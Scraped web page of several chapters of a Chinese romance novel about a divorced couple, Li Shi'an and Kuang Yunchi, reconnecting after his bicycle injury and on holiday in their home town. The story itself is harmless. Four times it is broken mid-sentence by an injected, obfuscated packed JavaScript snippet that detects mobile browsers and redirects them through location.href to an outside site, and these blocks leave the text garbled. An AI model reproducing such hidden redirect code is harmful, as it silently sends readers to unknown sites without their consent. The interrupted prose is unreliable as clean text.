轿车与单车同向转弯时,轿车忽然占了一半非机动车道,挤压得况允驰几乎没有骑行的空间。 左边要避开轿车,右边要避让其他快速通过的机动车。 摇晃好几下,不可避免地摔到在岸边。 其实按照当时的情况,就算摔到也可以避免受伤。但陶瓷杯被甩到了半空。况允驰下意识要保护陶瓷杯,伸手够了一下。 结果保护了陶瓷杯,折了一条腿。 况允驰简化了过程,对李十安说,“骑单车不小心摔了一跤,医生说没大碍,休息几天就行。” 他把白色纸盒递给李十安,“喏,这个送给你。” 李十安接过白色纸盒。 盒子里有一层包裹用的磨砂纸。小心打开磨砂纸,取出里面的陶瓷马克杯。 一个米色底的马克杯,杯身上画有略显稚嫩甚至带点搞笑的哆啦A梦图案。 怎么说呢——看得出来他画得很努力,但是忍不住确实有点搞笑。李十安特别喜欢。她握着陶瓷杯,左右看看,嘴角上扬。 况允驰问,“喜欢吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815554|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李十安故作正经,“一般。” “那你刚才笑什么?” “要你管。” 李十安稍侧身,不让况允驰看见她的表情。她小心翼翼将陶瓷杯重新包装好,放进纸袋里。 隔壁病床的病人回来了。李十安正坐在别人病床上,识趣地道歉,站了起来。 况允驰撑起上半身,想要下床给李十安腾位置。李十安急忙阻拦。况允驰只好往里头挪了挪,给李十安腾出足够坐下的床边空间。 她坐在了他的床边。 实验报告还没核对完,组里催得急。况允驰在确保李十安位置舒适、有吃有喝后,再次点开待机的笔记本,投入工作中。 看他那么认真,她也不便打扰,在一旁安静陪伴。待了一会儿,李十安索性拿出手机,调整静音,开启一盘无声游戏。 况允驰那边,花费二十分钟处理完紧急工作,剩余的工作,他全推到后面去。 李十安这边,游戏开始了就仿佛没有结束的时候。神情专注,两根拇指在屏幕上灵活地点击,身体有时会跟随游戏镜头左右轻微晃动。 暗自观察了好一阵,况允驰图好玩,用没受伤的右腿膝盖,轻轻顶撞李十安的腰际,试图引起李十安的注意。 李十安的眼睛一直盯着屏幕。感受到况允驰的打扰,她也没有回头,只是从嘴里发出不耐烦的声音。 “啧——” 这下得寸进尺,况允驰加大力度,有一次晃得李十安身体也轻微摇晃一下。 李十安出声制止,“别闹!我办正事呢。” 当然她的正事是保持玩游戏时的专注。 这边不收手,况允驰用力又撞了李十安几下,故意火上浇油。 李十安忍无可忍,一把拽过况允驰的手臂,对准他的小臂肌肉恶狠狠地咬了一口。 咬完就甩开,继续游戏。 游戏已经到了决赛圈,李十安马虎不得。几个队友已经完蛋,另一个队友为了掩护她而牺牲,她肩负着全队使命,必须全力以赴。 沉浸在决赛圈的世界里。靠在草丛与房屋之间躲躲闪闪的本领,李十安苟到了最后,成为赢家。 兴致高昂,李十安这才抽出空来,想起刚才咬了况允驰一口这回事。 况允驰倒是一直很安静。 李十安拉过况允驰的手臂。他的皮肤上还留着她咬出的粉色牙印。 她问,“疼吗?” 他点头,“有一点。” 其实是一点不痛的。 心里过意不去,李十安对着咬痕吹了吹,又问,“要不我请你吃东西?你想吃什么?” “想……” “你想吃炒酸奶对不对?” 况允驰疑惑不解,“我……想吃吗?” 李十安肯定,“想吃。”她是自己想吃,但不好意思自己一个人吃。 况允驰笑道,“好,我想吃。” 李十安于是利落地点开手机页面下单,一盒芭乐炒酸奶,一盒芒果炒酸奶,全是她爱吃的口味。 *** 李十安一直在病房里待到了晚上,陪况允驰聊天,看电视,玩游戏。 一直没提要走的事,况允驰也一直没开口。 晚上九点,护士来查房,拿着记录本登记情况,询问他们,“家属留下来过夜吗?” 他们默契地愣了一下,来不及反应。“家属”这个词语……莫名带有一种敏感色彩。 护士又重复问一遍,“留下来吗?” 他们异口同声给出了回答,但给的是完全不同的回答。 李十安说,“留。” 况允驰说,“不留。” 况允驰劝道,“这里条件比不上家里,你回家。” 李十安不服气,“我有那么娇气?现在照顾你才是最重要的事。” 虽然这一天来病房,李十安不仅吃好喝好,游戏也玩得尽兴,照顾况允驰的事,无非是按响铃提醒护士换液体之类的小事。但她说起来,理直气壮,仿佛是一个沉重的使命。 况允驰语气认真,“没必要留在这里受苦。” 李十安反驳,“怎么能叫受苦?” 护士眼看他们争论,担心争论许久仍没有结果,索性替他们做了决定。 “听女士的。”护士做好登记,拿着记录本走去下一个病床,例行公事。 于是事情就这么定了下来。 *** 晚上睡觉的时候,李十安睡病床,况允驰睡陪护床。当然为此又争论了一阵,最后是况允驰态度强硬,才做好了决定。 熄灯了。夜晚静谧安宁。 他们和隔壁病床之间,用蓝色拉帘间隔着。 李十安侧躺着,紧闭双眼,假装熟睡。努力了一阵,仍旧没能睡着。 有点紧张,有点忐忑,有点心跳加快的感觉。 她悄悄睁开一只眼睛偷瞄。 况允驰恰巧也正睁开一只眼,像她偷看他一样,他也在偷看她。 他笑了一下。 李十安更紧张了,装作生气地轻声哼一下,利落地翻身,背对着况允驰,把微红的脸颊埋进被窝里。 病房里尽是消毒水的气味。 偶尔有屋外趿拉而过的脚步声,走向远方,随后归于沉寂。 57. 假期 早上睡得香甜,甚至没做梦。李十安睡到忘乎所以,最后是被护士叫醒的。 “输液了。”护士推着车停在床边,拿起一袋消毒后的输液工具,晃了晃,撕开包装袋。她照例询问李十安,“左手还是右手?” 李十安迷迷糊糊,“嗯?都行。右手?” 护士拽起李十安的右手腕,拍两下。按流程,还得核对病人的姓名。正专心看着输液袋上的标签,况允驰从病房外走来,出声制止。 “您好,是我,我是病人。” 李十安这才回过神,发觉搞了个误会。她立即抽回右手,不好意思地挪下床。 护士重新核对况允驰的姓名,以及性别,给况允驰输液。 透明液体在软管里缓慢流淌。况允驰左手输液,右手指了指一旁桌上的早餐,才从院外买回来的热乎早餐,有面包牛奶、稀饭包子、油条豆浆。 他对李十安说,“挑喜欢的吃。” 几撮呆毛凌乱地支愣在脑袋侧面,李十安毫不知情。况允驰顺手摸了摸。李十安这才反应过来,难为情地后退一步,“我先去洗漱。” 去了卫生间,发现况允驰替她准备了牙刷、牙刷杯、毛巾,并且在牙刷杯上用标签纸写了她的名字。 李十安。 他的字很好看。 说来有些惭愧。分明是她来照顾他这个病人的,结果看现在这情况,谁还分得清楚谁是病人。 *** 李十安打算下班后去医院看望况允驰,像昨天那样。结果她还没等到下班,况允驰就已经回到园区,在公司楼下等待李十安。 下楼,和况允驰碰面。李十安问,“你怎么来了?不用待在病房?” 况允驰解释,“出院了,第一个来跟你报道。” 毕竟之前况允驰住院,没告诉除同事外的任何一个人,当然也没告诉李十安,惹李十安生气。所以这次出院,况允驰想着一定要第一个向李十安汇报。 李十安稍仰头,“这还差不多。” 两人面对面,站在楼角阴影里。 况允驰拄着单拐杖。 李十安问,“现在呢?准备回家,还是回公司?”因为到饭点了,李十安想试探况允驰的安排。她不好意思直接问。 况允驰邀请,“可以和你一起吃饭吗?” 李十安略点头,“嗯。” 一齐往园区西区的餐厅走去。 李十安随口又问,“吃完饭呢?你回公司加班?” 也不知道为什么,一直要抓着况允驰的行程问。不问会焦虑,问了也焦虑。控制不住。 况允驰应道,“回青大,项目还没做完。” 走过茉湖边,几片绿叶吹落湖面,荡荡悠悠。 况允驰告诉李十安,“青大项目,预计下月中旬能够结束。到时候我应该会休假。” “这么巧?我也是申请那时候休假。” 倒不是临时凑时间,故意和况允驰的休假时间重合。上礼拜部门统计休假时间安排,李十安随便报的日期,正好是七月中旬。 “我们是上周统一填报的神情。”李十安特意补充了一句,解释清楚这真的只是巧合而已。 况允驰问,“你准备去哪?” “不知道,”李十安反问,“你呢?” “我……可能回月照山那边,月影镇。” 月影镇是他们的老家。他们都在月影镇出生,读过小学。只不过李十安读的是一班,况允驰读的是二班,而且只读了一个学期。 在月影镇的老家,都还保留着。 “很久没回去了,想在那边待几天。”况允驰说,“当然不去那边也行,出去旅游也可以。” 李十安附和,“嗯,去青岛哈尔滨什么的,都挺不错。或者去大阪北海道,都挺好。” 沉默了几秒。 李十安声音极轻地又补充,“回月影镇也好,说起来,我也好久没回去了。” 况允驰应道,“嗯。” 走下一段石阶。石阶两端长着一层稀薄的墨绿色青苔。他们走到最底部,右转,进入一家粤菜餐厅。 之后的聊天内容又转到了美食上,聊食物色泽、味道、名称。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819014|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李十安其实好几次想要问出口,他们刚才的对话算不算约定。他说休假回月影镇是个不错的选择,她说她也这样觉得。 那这段对话,到底算作闲聊,还是算作约定? 拿不准了。 想把这件事确定下来,却又不好意思,也不知道该怎么开口。 拖到最后,这件事就不了了之了。 *** 按照计划休假那天,李十安回月到影镇。 给自己的理由是,抛开其他因素不谈,单说回月影镇休假这件事,本生就是一个不错的选择。她带着这样的心态开始了假期。 到达目的地的第一天,已是下午。李十安开车一个半小时,有些疲劳,决定就在家躺着休息。 她家是家属楼,在四单元的二楼,九十年代的老房子。虽然早已搬家,但这老房子一直留着没卖。 推开门,走进屋,似是走进了童年。 放下行李,环视四周。这个下午的事情,看来并不少。打扫卫生,到附近新开的便利店里买便餐,顺便买了一袋荔枝。享受美食,洗漱,洗衣物。 快十一点时,李十安终于躺到了床上。 四周邻居已经换了一批人。 窗外传来陌生的烟火人家之声。辅导小孩作业,哄睡小婴孩,催促外出应酬的丈夫回家,三两个新入职的年轻人商量煮螺蛳粉。 李十安在嘈杂声中逐渐睡去。 迷迷糊糊听到窗外传来两声呼唤。好像况允驰的声音。 “十安。十安。” 在朦胧中半睁开眼,看一眼窗边。夜色依旧,星子在遥远天幕闪烁。安宁而寂静的世界。李十安重新闭上双眼,继续入睡。 朦胧中,窗外似乎又传来了几声呼唤。 从睡意中努力醒来,半睁眼缓了缓,又有快要闭上的趋势。然而那呼唤越来越清晰,伴随早晨清风吹进李十安耳朵里,触碰神经。 逐渐反应过来,眨两下眼睛,细听呼唤。 没错的,是况允驰的声音。 他在唤她。 “十安,十安。” 58. 小镇:童年 李十安一下清醒,侧耳细听窗外的声音。 “十安,十安。” 是况允驰的声音,没错的。 窗外甚至漂浮着一只黄色氢气球,上面写有“十安”两个字,在阳光下摇摇晃晃。 兴奋地爬下床,跑到窗边,扶着窗框向下看。况允驰正站在楼下,左手杵着单拐,右手牵着氢气球,向李十安挥手,“十安,出来玩。” 李十安笑道,“哪有人杵着拐杖,还天天叫人出来玩的。” “你不是还欠我人情吗?”况允驰说,“陪我逛逛,当抵债。” 李十安应道,“好。” 她让况允驰稍等,回屋匆忙洗漱打扮,无意间拿起手机,才发现况允驰早些时候给她打了三通电话。 昨晚,因为怕被打扰睡觉,李十安特意调了静音模式,结果一个电话也没听到。 他难道在楼下等了她一个小时么。 换上小白鞋,李十安急匆匆下楼,和况允驰汇合。 并肩往街上走去。 为了照顾况允驰的脚伤,他们走得很慢。 盛夏,阳光明媚,知了在茂密丛林里鸣唱。 走进了廖记水饺馆。 廖阿姨见到李十安,热情招呼,“十安妹妹,什么时候回来的?又长高了。” 李十安笑道,“廖阿姨,我都二十八了,哪还能长高?”她走到操作台前,挑选廖阿姨今日弄的饺子馅。 廖阿姨看到随后而来的况允驰,欣喜又道,“允驰也回来啦?怎么好像长瘦了。” 李十安侧头看了一眼。 况允驰应道,“吃一顿廖姨煮的水饺就能长回来。” 廖阿姨笑道,“我的水饺这么养人?” 招呼两人坐下,点单。李十安点了一份红油水饺,况允驰点了一份蒸饺。 上桌后,况允驰分了一半蒸饺给李十安,这样李十安能品尝两种口味。 “廖阿姨的水饺特别小巧,一口一个。”李十安蘸一个蒸饺,塞进嘴里,“吃起来不费劲。” 况允驰问,“红油好吃还是蒸饺好吃?” “都好吃。”李十安咽下水饺,筷子在红油汤汁里搅拌两下,思索片刻。 她问,“况,你和廖阿姨也认识?你以前经常来这里吃水饺?” “嗯,怎么了?” “没什么,”李十安咬一口青菜,细嚼慢咽,“就是发现,我也经常来吃,你也经常来吃,可是……” 可是我们俩从来没有碰见过。想说的是这个。 但转念一想也正常,或许她来的时候他不在,他在的时候她又没来,所以从没碰到过。也不是什么稀奇的事。 这样想着,李十安用筷子挑起一个水饺,没咬,光是看着出神。 月影镇就这么大,镇上的人大部分都互相认识,可偏偏她不认识他。 廖阿姨忙完手边的事,走到桌边寒暄,“我记得你俩离婚了吧?” “啊……”原来李十安和况允驰离婚的事,都已经传回小镇上了。 “那怎么又在一起?” “这个……” “是来办事的吧?”廖阿姨索性坐了下来,“哎,离婚就是复杂,要办的手续特别多,时间也拉得久,不容易。” “其实也……” “不过你俩看起来还挺好。不像别的夫妻离婚,闹得那叫一个难看。” 这一点李十安认同。她和况允驰属于和平分手。“对的,我们……” 廖阿姨挑眉,“你俩都是体面人。” 话密得叫人哭笑不得。廖阿姨还是老样子,把话都说完了,没有别人说话的空隙。 廖阿姨又问,“对了,你们来办什么事?” 没想到已经跳过的话题,又被廖阿姨给绕了回来。关键这个问题,李十安根本没想好怎么回答。 他们来办什么事?他们不过是回来游玩闲逛而已。 “呃……”李十安试图找借口搪塞。 没等李十安搪塞,廖阿姨又打趣道,“你俩看起来关系真挺好。” 李十安顺势接话,“虽然离婚了,但好歹还是朋友,老朋友。” 特意强调了“老朋友”这个词。好像还没有勇气戳破她对他的心思,很尴尬的。喜欢上一个熟人的那种尴尬。没办法说出口的。 只能以老朋友的身份来和他相处。 这么些年,她也习惯了把他当作老朋友。 廖阿姨将信将疑,“朋友?” “啊……”李十安显得有些尴尬局促。 况允驰看出了李十安的不自在。他转移话题,主动提醒廖阿姨,“廖姨,好像有客人找你。” 店外乌泱泱来了一群客人,叽叽喳喳商量着点餐。 廖阿姨去了那边忙碌。 剩下李十安和况允驰,重回独处状态。 李十安这下脸颊残留红晕,倒不敢抬头直视况允驰了,只顾低头吃水饺。 况允驰问,“够吗?再来一点?” “不了不了,够了够了。”李十安急忙拒绝。在吃下去,她的红晕就要变得烫人了。 *** 吃了饭,走出店外,漫步在小镇街上。低矮楼房紧密排列,蜿蜒曲折。 不知不觉漫步到母校,小学校园。学校已经从里到外翻新过了,课桌崭新宽敞,讲台智能化,甚至连粉笔都退出了舞台。 操场上正在进行一场小学生的业余足球赛。他们去了场边。 由于场边没有设置观众席,他们于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819015|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在绿茵上席地而坐。李十安替况允驰拿过单拐,搀扶着他慢慢坐下。 骄阳似火,万里晴空。 况允驰观察太阳的照射角度,往李十安的方向挪了一下。 他的手指碰到了她的手指,是比夏天更热的温度。 李十安愣了下,心慌。她条件反射地往旁边挪,拉开一点距离。 况允驰便又再挪一点,填补距离。 李十安身体僵硬,又挪一点。 况允驰紧追不舍,再一次靠近。 李十安条件反射,又挪一点,并用眼神示意,试图制止况允驰的行动。 公众场合这样明目张胆……总觉得不大好。 况允驰笑道,“我给你遮太阳,过来。” 恍然大悟。原来只是遮太阳。早说。 她挪了回去,躲进况允驰投射下的阴影里。况允驰的肩膀够宽,足以遮挡李十安。 场上比赛如火如荼进行着,他们看得入迷。 忽然之间,一个小孩一脚球踢高,直奔他们而来。 李十安害怕,下意识躲到况允驰身后,顺手抓紧况允驰的手臂,迎着足球来的方向挥动,精准还击,利用况允驰的手掌将球拍回场上,躲过一劫。 表情仍是娇弱柔嫩的,手上动作却是熟练利落。 况允驰笑道,“看得出来,底子不错。” 李十安轻声嘀咕,“还是害怕嘛。”她盘腿重新坐好,继续观看比赛。 场上蓝白两对竞争激烈。蓝队前锋带球过人,队友紧随其后。队伍浩浩荡荡压近禁区,前锋一脚铲射,破门。 场内外响起欢呼。李十安也在欢呼,可况允驰却冷静理智。 李十安问,“怎么了?” 况允驰指了下禁区,“越位了,这球不应该算。” “越位?”李十安解释,“小孩子踢球,能进就不错了,不吹越位的。”她解释完,悄声补充了一句,“呆瓜。” 况允驰没听清楚,“嗯?” 李十安催促道,“快看比赛。”她正襟危坐,一副不被打扰的模样。 日光逐渐变为橙黄色。绿叶随风轻摇,似乎是在向上拍打阳光。 比赛过后,他们就在学校附近逛了逛,吃小吃。烤肠、烤冷面、烤面筋、双皮奶、烧仙草,把感兴趣的美食都吃了一遍。 吃得肚子撑了,又沿河边漫步,直至入夜。 况允驰送李十安回家。 结束一天的游玩,到了分别的时候,她有些舍不得。 今天结束了,那明天呢? 昏暗路灯把他们的影子拉长。 况允驰神态自然,邀请道,“十安,明天见。” 李十安愣了下,随即应道,“嗯,明天见。” 59. 小镇:小溪 况允驰的腿伤好得差不多了,已经可以取拐杖了。他借了两辆自行车。白色的给李十安,黑色的给自己。 李十安问,“甚至都能骑车了?” “嗯,骑车没问题。” 盛夏,晴空万里。 一前一后骑着车,沿着河流的河堤奔驰而行。李十安在前,况允驰在后。左面是清澈河水,波光粼粼。右面是碧绿稻田,风吹稻浪。他们在阵阵虫鸣中穿梭。 感受炽热的风。闯入耀眼的夏天。 到达稍微宽阔一点的河堤路段后,李十安兴奋地松开双手,张开双臂,迎接清风。划破长空。脚下仍在自由地踏动着脚踏板。 况允驰后来居上,追上李十安。擦肩而过时,况允驰轻轻拍打一下李十安悬在空中的手背,发出一点清脆的声音。 “啪——” 向前疾驰,越来越远。李十安生气,重新握紧把手,加快脚踏的频率,试图追击。这下变为况允驰在前,李十安在后。两个身影在郊野之间飞驰。 穿过河边的一片小森林。况允驰顺着岔路小道驶下河堤,最终停留在较为平坦的鹅卵石河滩上,单脚踏地,回头。身后是一片阳光在水面上洒下的金色的星子。 李十安随后而来,停留在况允驰的身侧。 “去踩水吗?”况允驰问,“这水看起来不错。” 李十安点头,“嗯。” 把车停在小山坡下面,挨着停放,整齐划一。走到河边,脱了鞋,赤脚走去河水中。河水清澈,浅,鹅卵石在水下反射着热烈的阳光。河水被骄阳晒得温热。 踩进水里。墨绿色的水藻在河底漂浮,滑腻。他们小心翼翼。 一直走到了小溪与河流的交汇处。 小溪是从山洞里流出来的,经过山洞黑暗的吞噬,温度变得很低,冰凉沁人。与河流偏白的颜色相比,小溪的颜色更偏绿一些。 于是在河流与小溪的交界处,形成了一道肉眼可见的清晰的界限。 他们一脚踩在河流里,一脚踩在小溪中。左脚温热,右脚冰凉。两种截然不同的感受带来触觉上的刺激。 李十安险些承受不住,踉跄一下。为了避免摔倒,况允驰下意识搀扶李十安,李十安下意识拽紧况允驰的手臂。 时间似乎停滞了两秒。 他低头看着她,她也仰头看着他。 况允驰识趣地放了手,收回手。 按理说李十安也应该放手的,这样才不会让彼此尴尬。但李十安松不开手。 “松开我会摔。”李十安说,“借你胳膊用一用。” 况允驰应道,“嗯,随便用。” 他扶她慢慢往河边移,挪到河岸上,站在草地里。找到一块树荫下,翠绿的干净草地,并排坐下,双腿悬于岸边。 李十安从包里拿出了她准备的两个西红柿。盛夏酷暑,水果蔬菜要冰冻的才好吃。 挑选了一处稍浅的地方,把西红柿摆放在小溪底部,让冰凉的溪水不停冲洗。饱满的西红柿被溪水反射出起伏的纹路。 阳光在水下被揉碎成金色的星子。 等到西红柿凉透,他们坐到河边树荫下,抱着西红柿,安静啃一口。鲜嫩多汁,酸甜可口。蝉鸣声此起彼伏,树林间投下斑驳光影,时光悠悠。 李十安想着,这样的生活,日复一日也挺好。 水声潺潺,微风阵阵。一群小鱼在河底嬉戏游玩。偶尔会有一条大鱼混入其中。看起来肥美的大鱼,若是烤或者焖,味道肯定很不错。 李十安动了歪心思。 想过下河捞鱼,但手头上没有任何捞鱼的工具,没有鱼叉更没有鱼竿。她也没有徒手捞鱼的技术,真要自己捞鱼,肯定不现实。 所以只能靠别人捞鱼。 不远处,河水较深的拐角,正有一个中年大叔,专心致志地钓鱼。 大叔脚边摆放两个桶,一个小桶,一个稍微大一些桶。小桶里装的是红色的鱼饵,大桶里盛满了水。 偶尔有鱼奋力地摆动尾巴,溅起些许水珠,洒到桶外。 大叔坐在露营椅上,悠闲靠着椅背。鱼竿固定在身前。偶尔拧开随身携带的水杯,喝一口浓茶。眼光倒是始终盯着波动的河面。 稍有异样的动静,大叔立即起杆,拉线。一条黄辣丁在空中翻腾,拉近,被大叔握在手中。取下鱼钩,放进水桶,成为鱼群中的一员。 从他专业的渔具和游刃有余的神态来看,应该是一个高水平的钓鱼佬。钓鱼佬钓的鱼,那才叫肥美。 李十安提议,“去找大佬买条鱼怎么样?” “好,”况允驰问,“谁去?” 谁去这事,李十安确实还没想过。一般遇到这种情况,按惯例是以石头剪刀布来决定。他们选择照惯例行事。 游戏最初只进行一盘,单次定胜负。李十安出的石头,况允驰出的布。李十安输了比赛。 “这样太仓促了,”李十安纠正游戏,“三盘两胜才科学。” 况允驰依了李十安,继续进行游戏。 到了第二盘,李十安还出石头,况允驰还出布。李十安又输了比赛。 两盘皆输,结果已定,没有再进行游戏的必要了。 况允驰直言,“你输了,该你去要鱼。” 李十安攥紧拳头,“知道!” 她酝酿情绪,打腹稿,组织一段向陌生人要鱼的语言,以及做好被拒绝的心理准备。她深吸一口气。正要起身行动时,况允驰轻轻摁住李十安的脑袋。 “等着,我去。” 况允驰走去了钓鱼大叔那边。 隔太远,李十安听不清他们的具体交谈内容,只能看见一副静态画面。钓鱼大叔是坐在折叠椅上的,况允驰半蹲在一旁。看样子,估计交谈得还算顺利。 过了一些时候,况允驰回来了,提着一个蓝色的小水桶,桶里装着一条大鱼,以及几条小鱼。 “都是送的,”况允驰说,“大叔不收钱。” 况允驰本来打算向大叔买鱼,结果大叔不卖,说是本就是河里的鱼,不属于他个人。他钓鱼,一半为了吃,一半为了玩,找个乐趣。 既然有缘,鱼就送些给他们,当交个朋友。 他们当然不能白拿鱼。包里还有一些新鲜的西红柿、黄瓜、荔枝,他们便都送给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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老板打了个哈欠,“我是卖东西的,不是做鱼的。” 况允驰听出了老板的拒绝。他识趣地打算离开时,老板又补充了一句,“不过后面有厨房。你想弄的话,进去就行。” 这倒正合况允驰心意。走那么些店铺,连续被拒绝,况允驰确实有自己动手的打算。 于是去了厨房,忙碌弄鱼。李十安跟在身后,打打下手。 他们做了一道烤鱼,一道炸小黄鱼。 当然,精心分出了两盘送给老板,当作额外的谢礼。 况允驰找来一张折叠木桌,两只矮木凳,摆放在小超市门外的小院坝里。他们坐在木桌两旁,打开两瓶啤酒,享用今天的晚餐。 李十安拿起筷子,夹一条小黄鱼。她莫名想起了几条小鱼在溪水中天真遨游的画面,自由自在,无拘无束。想来竟有些伤感。 “说起来,这些小鱼挺可怜。”李十安举着筷子,“刚才还在小溪里玩耍,转眼就被炸成这副模样。” 况允驰放下筷子,轻摁李十安的手腕,一本正经,“好,那我们不吃了。” 李十安攥紧拳头,克制住冲动才没有砸到况允驰身上,但是咬牙切齿,“你这个人,有时候怪讨厌。” 况允驰笑了下,重新拿起筷子,给李十安夹菜。 街上偶尔有摩托车驶过,发出马达轰鸣。落日浑圆,夏日橘色渲染了整个人间。 时针走过,拨动小镇假期的第二天。 60. 小镇:夏夜 夏天的暴雨来得很突然,说下就下,让人没有一点防备。大雨滂沱。雷鸣时而沉闷,时而清脆,接连不断,震耳欲聋。 李十安刚才在三姨家吃过晚饭,正准备往家走。 当时从三姨家出来之前,三姨也提醒过李十安要带雨伞,说是淋暴雨可不得了。 抬头观察一下天气,虽然乌云团团但也有一丝阳光,看起来挺乐观,李十安还以为这点晴朗的时间足够她回家。 谁知偏偏半途就遇上暴雨,大颗雨珠砸在额头上,不留一点情面。 一路加快脚步,跑到雨花巷。那是一条斜坡巷子,两旁大多是米黄色的围墙,绵延不绝。 李十安观察周围的情况,想了想,冒着暴雨再往前跑了五十米,躲进一家有红屋顶的杂货店。 挨着杂货店旁边的两层红屋顶小楼,就是况允驰的家。 李十安站在杂货店的屋檐下,看一眼况允驰的家,心里想着要不去找况允驰,但转念又觉得这样做未免太冒失。 就这样在杂货店门外徘徊着。 偏偏李十安也不认识杂货店的老板,不请自来躲在别人屋檐下避雨,总归不是太好。她只好假装成顾客,在店里逛了逛。 杂货店里什么都有卖,衣架衣杆鸡毛掸子,碗碟叉勺迷你电饭煲,看着倒是齐全。 可李十安逛了三圈,实在没找到需要买的物品,最后什么也没买,再逛下去显得鬼鬼祟祟,更不好解释。 照这情况看来,好像只有离开杂货店才是恰当的选择。可屋外暴雨如注,李十安走不了,也不想走。 要不给况允驰打个电话吧,想个借口,就说找他借把雨伞。李十安拿出手机,正要拨通况允驰的电话,况允驰正巧打了过来,“你不在家?” 李十安反倒惊讶,“你在我家?” 况允驰没有回答,继续追问,“你现在在哪里?” “我在……你家旁边的杂货店。”李十安嘀咕着,向况允驰解释了事情的大致经过。 况允驰叮嘱,“你在那里等我,我马上来。” “我……”李十安还想说话的。现在暴雨这么凶猛,她想让况允驰等雨停之后再赶过来,反正不着急。 但况允驰那边已经利落地挂断了电话。 于是李十安收了手机,在原地继续等待着,有些尴尬,也有些局促。 隔了一阵,杂货店的老板竟过来主动招呼李十安,“允驰的朋友?快进来坐,别站着。外边雨大风大,别吹着凉了。” 李十安迷迷糊糊,跟着老板走进了杂货店里边的客厅。 老板给李十安倒了杯茉莉花茶,让李十安坐在沙发上。他因为店铺这个月的账还没算完,忙,得回楼上账房里继续算账,便留下李十安独自待在客厅里。 李十安无所事事,盯着天花板上的水晶吊灯发呆。 等了没多久,店铺外传来动静。李十安出门查看,正看见况允驰跨进来。 额前头发湿漉漉,况允驰随意薅动两下。一滴雨珠滑落,流过喉结一旁,况允驰抬手擦去。 本来就高,况允驰这般身影笼罩了李十安,李十安有些慌乱地移开视线。 “来得这么快,”李十安轻声道,“快进来一些。” 况允驰跟着进了客厅。 李十安想拿一张干毛巾给况允驰用,但她在这个屋子里也是个客人,不方便行动,也不知道干毛巾到底在哪里。 “我给你叫一下老板吧?”李十安站在茶几旁,想走又不知该走去何处,“你等一下。” “你坐,我来。”况允驰去了里屋,拿一块毛巾擦干头发,再走出来。 他们坐在沙发上。 李十安想着刚才没有得到答案的问题,又问了一遍,“你怎么会在我家那边?” 况允驰说,“正好在那附近办事,顺便过去看看。” 他没告诉李十安,他是看乌云密布,雷鸣沉闷,即将迎来暴雨,所以特意跑了一趟,去看看李十安的情况。他担心她会害怕。 况允驰给李十安空了的杯子里添了一些温热的茉莉花茶,“等雨停了,我送你回家。” “嗯。” 况允驰问,“吃晚饭了吗?” “吃过了,在三姨家吃的。” “那现在饿吗?” 李十安想了想,“有点。”其实不饿的。但他已经问起来了,她莫名就想回答“有点”。 况允驰提议,“吃零食?小时候的零食。” 李十安笑道,“好。” 于是况允驰带李十安折返回去,从客厅回到了店铺里。 他在摊位前挑选,捡了牛板筋、素牛肉、臭干子、无花果、吸吸冻、蛋黄派,一堆零食全部递给李十安。 李十安惊讶,“可以随便挑来吃吗?” “随便吃,之后我结账。” 有一种实现小时候梦想的感觉。 五年级之后,李十安每天的零花钱只有一块两块,梦想是总有一天能够在小卖铺随便吃,想吃什么吃什么。 撕开一袋牛板筋,咬了一口,和小时候的味道一模一样。 况允驰端来两张藤编躺椅,摆放在柜台一旁。他们坐在藤椅上吃零食,隔着落地玻璃门,看屋外暴雨。 浓郁的泥土气息穿过玻璃门缝隙,浸入室内空气中。 暴雨霹雳,在地面溅起连续不断的水花。昆虫慌乱撞到玻璃门上,晕一阵,又向上爬。风吹进来,吹动她的发梢。 天已经暗了,本就沉闷的灰色的天,此时变成浓墨重彩的深蓝色。屋内灯火通明,屋外朦胧昏暗。 雨帘逐渐变得稀疏,开始有变小的迹象。爆裂的水花也转化为温柔。暴雨声褪去,虫鸣与人们的交谈,开始进入耳畔。 慢慢地,雨停了。零食也吃得差不多了。 李十安站起来,“我回去了,老在这里打扰老板,挺不好意思的。” 况允驰也站起来,“走吧,送你。” 他们走在夏夜的小镇街上。 起初雨刚停,风吹来还带着一丝夏日罕见的凉意。随着时间流逝,温度回升,空气竟又恢复到之前的高温状态,闷热粘腻。地面开始变得干燥。 月亮出来了,明晃晃地照耀世间。 他们走到了李十安家的单元楼楼 